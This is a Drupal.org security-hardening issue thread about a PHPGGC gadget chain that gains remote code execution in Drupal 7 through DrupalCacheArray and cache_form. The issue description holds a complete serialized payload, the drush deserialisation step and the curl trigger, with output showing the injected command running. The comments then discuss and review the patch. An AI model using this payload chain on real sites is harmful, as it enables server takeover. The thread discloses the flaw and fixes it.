Problem/Motivation
This was initially posted as a private security issue, but it's been agreed that it can be a public security hardening.
https://github.com/ambionics/phpggc/pull/28
..is fairly old but it still works in Drupal 7.98 today.
$ ./phpggc -i Drupal7/RCE1
Name : Drupal7/RCE1
Version : 7.0.8 < ?
Type : RCE: Command
Vector : __destruct
Informations :
You will need to post form_build_id=DrupalRCE to /?q=system/ajax once the payload is unserialized
./phpggc Drupal7/RCE1 <function> <parameter>
In order for this to be exploitable, there needs to be an unsafe deserialisation vulnerability in the first place, so core is almost certainly not directly exploitable.
Steps to reproduce
You can use drush to simulate exploitation of an insecure deserialisation vulnerability - for example:
1) Prepare the payload (note the flag to enable simple encoding):
$ ./phpggc -s Drupal7/RCE1 system id
O:11:"SchemaCache":4:{s:6:"%00*%00cid"%3Bs:14:"form_DrupalRCE"%3Bs:6:"%00*%00bin"%3Bs:10:"cache_form"%3Bs:16:"%00*%00keysToPersist"%3Ba:3:{s:8:"#form_id"%3Bb:1%3Bs:8:"#process"%3Bb:1%3Bs:9:"#attached"%3Bb:1%3B}s:10:"%00*%00storage"%3Ba:3:{s:8:"#form_id"%3Bs:9:"DrupalRCE"%3Bs:8:"#process"%3Ba:1:{i:0%3Bs:23:"drupal_process_attached"%3B}s:9:"#attached"%3Ba:1:{s:6:"system"%3Ba:1:{i:0%3Ba:1:{i:0%3Bs:2:"id"%3B}}}}}
2) Use drush php to simulate unsafe deserialisation:
>>> var_dump(unserialize(urldecode('O:11:"SchemaCache":4:{s:6:"%00*%00cid"%3Bs:14:"form_DrupalRCE"%3Bs:6:"%00*%00bin"%3Bs:10:"cache_form"%3Bs:16:"%00*%00keysToPersist"%3Ba:3:{s:8:"#form_id"%3Bb:1%3Bs:8:"#process"%3Bb:1%3Bs:9:"#attached"%3Bb:1%3B}s:10:"%00*%00storage"%3Ba:3:{s:8:"#form_id"%3Bs:9:"DrupalRCE"%3Bs:8:"#process"%3Ba:1:{i:0%3Bs:23:"drupal_process_attached"%3B}s:9:"#attached"%3Ba:1:{s:6:"system"%3Ba:1:{i:0%3Ba:1:{i:0%3Bs:2:"id"%3B}}}}}')));
object(SchemaCache)#5815 (4) {
["cid":protected]=>
string(14) "form_DrupalRCE"
["bin":protected]=>
string(10) "cache_form"
["keysToPersist":protected]=>
array(3) {
["#form_id"]=>
bool(true)
["#process"]=>
bool(true)
["#attached"]=>
bool(true)
}
["storage":protected]=>
array(3) {
["#form_id"]=>
string(9) "DrupalRCE"
["#process"]=>
array(1) {
[0]=>
string(23) "drupal_process_attached"
}
["#attached"]=>
array(1) {
["system"]=>
array(1) {
[0]=>
array(1) {
[0]=>
string(2) "id"
}
}
}
}
}
=> null
There should now be a row in the cache_form table containing the 2nd stage payload:
> SELECT * FROM cache_form;
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+
| cid | data | expire | created | serialized |
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+
| form_DrupalRCE | a:3:{s:8:"#form_id";s:9:"DrupalRCE";s:8:"#process";a:1:{i:0;s:23:"drupal_process_attached";}s:9:"#attached";a:1:{s:6:"system";a:1:{i:0;a:1:{i:0;s:2:"id";}}}} | 0 | 1689338824 | 1 |
+----------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------+--------+------------+------------+
3) Trigger the payload with a POST request:
$ curl -i http://drupal-7.x.ddev.site/?q=system/ajax --data 'form_build_id=DrupalRCE'
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jul 2023 13:01:30 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESS264c9fbfb19084e07d9b231ebb613ebc=w5jIuLVNukqF7AEcW-htiUtdlMCKfQN4XOZIKSL2H6M; expires=Sun, 06-Aug-2023 16:34:50 GMT; Max-Age=2000000; path=/; domain=.drupal-7.x.ddev.site; HttpOnly
uid=1000(mcdruid) gid=1000(mcdruid) groups=1000(mcdruid)
[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","setHasJsCookie":0,"ajaxPageState":{"theme":"bartik","theme_token":"CM8S90VFpFtXTZlyWSRrnOAqfwY4m2tDcq-Zv50WUBw"}},"merge":true}]
The important part of the response is the output of the id shell command, proving RCE.
Proposed resolution
Harden D7 against this, if we can do so without breaking existing functionality.
Remaining tasks
write patch, review, commit etc..
User interface changes
n/a
API changes
none that should affect anyone but an attacker
Data model changes
n/a
Release notes snippet
necessary?
| Comment | File | Size | Author |
|---|---|---|---|
| #5 | 3378257-5.patch | 475 bytes | mcdruid |
| #2 | 3378257-2.patch | 550 bytes | mcdruid |
Comments
Comment #2
mcdruid commentedInitial patch which prevents the exploit from working.
This includes a variable that would allow sites to opt out of this should they actually need
\DrupalCacheArray::__destruct()to persist key/value pairs into cache_form.I think it's likely to be very rare that sites would need this opt-out, so I'd propose that we don't add the variable to default.settings.php
Comment #3
mcdruid commentedComment #4
mcdruid commentedComment #5
mcdruid commentedThere's a risk that we might not notice a problem caused by a change to this functionality as it may only cause a performance degradation as there are more cache misses, as opposed to actually breaking anything.
I'm curious about whether the D7 test suite actually exercises this functionality much.
It looks like it's very common for the destructor to persist data into the "cache" bin as part of tests, and there are a couple of mentions of DrupalCacheArray's behaviour in drupal_web_test_case.php for example.
This patch is an experiment to see whether the test suite results in anything being "persisted" to a cache bin other than the default.
If it does, we should get exceptions that will be easy to see in the results.
To be clear, this is not something we'd actually commit.. and nobody should apply it to their site unless they're also trying a similar experiment to see if their custom code/tests results in writes to non-default cache bins from this destructor.
Comment #6
mcdruid commentedHmm, so unless I'm missing something that suggests that the D7 test suite doesn't do anything that results in DrupalCacheArray writing to a cache bin other than the default "cache".
If we don't exclude that default cache bin, a lot of tests end up throwing errors like:
I've been wondering whether we'd be better to take an allow-list or block-list approach here.
The result of this experiment makes me think we're probably okay to just block cache_form specifically (with the opt-out variable in case that breaks things on specific sites) - which is what patch #2 does.
The problem with cache_form specifically is the fact that the ajax system provides a way to execute the payload. Even if an attacker can write their own data to other cache bins/tables, it doesn't matter much if they can't then do anything with the data they've written to cache.
Comment #7
poker10 commentedThanks for working on this @mcdruid!
Let's summarize this. If I understand this correctly, you can "trick" the
DrupalCacheArrayby manually constructing aSchemaCacheorThemeRegistryobject and using an insecure deserialisation to write to a diffent cache bin - specifically thecache_form(the different I mean when comparing with what the D7 core does). Then this data/payload can be retrieved and executed by calling thesystem/ajax(which is how ajax forms works). Is this correct?When looking at the D7 core code, it seems like these are the only two classes extending and using the
DrupalCacheArrayand when used in core, these are writing to thecachebin by default.I have not seen any attempts to write to
cache_formviaDrupalCacheArraywhen "manually" testing this on a demo site. Writes to thecache_formwere viaform_set_cache()method. I know this is not a 100% proof, but I think that I agree with this:Regarding this:
If everything I said above is correct, then I think, we should be fine with what the patch #2 does. We does not need to offer possibility to allow/block-list other cache bins, if those does not have the possibility to execute the payload afterwards, see:
We can, probably, try to grep a bunch of contrib modules (if you have that possibility), if there are any modules extending the
DrupalCacheArrayand using thecache_formbin by default (so that we would not block these regular writes to that bin), but I do not think so.There seems to be one more possible scenario, how the write to
cache_formregularly viaDrupalCacheArray. TheThemeRegistryclass allows to define a bin on initialization. So if there is anyone using theThemeRegistrywith a different bin (for examplecache_form), then this code would write tocache_formeither (and the patch in #2 would block this). But I think this is very unlikely to happen.Comment #8
mcdruid commentedThanks for taking a look @poker10... yes, your summary matches my understanding of what's going on.
It's a clever hack that someone came up with to abuse DrupalCacheArray's ability to persist keys/values to the db (/ other cache storage) which allows them to inject a payload that can then be executed via the ajax system in a second request.
I also don't see any evidence of core using the functionality to write to a bin other than the default "cache" but perhaps it's plausible that contrib / custom code does.
As we know, cache_form isn't really a cache so I think it's probably quite safe to assume that it's really unlikely anyone's deliberately / legitimately writing to cache_form like this.
We can provide the override/opt-out variable just in case, but I think it's so unlikely to be used that we should not clutter up default.settings.php with it; it could be documented in a CR (and here).
So with all that confirmed, do you think this needs anything else before RTBC / commit?
Comment #9
poker10 commentedYeah, we can keep the opt-out variable just in case, so I think the patch #2 looks good. Agree that we do not need to add it to the
default.settings.php.I cannot think of anything else right now, except the change record, so I think this could be RTBC. Thanks!
Comment #10
mcdruid commentedThanks for the review.
I drafted a CR at https://www.drupal.org/node/3381030
I'll try to get this committed today so that there's plenty of time for it to be tested in dev before the next D7 release.
Comment #12
mcdruid commentedThank you!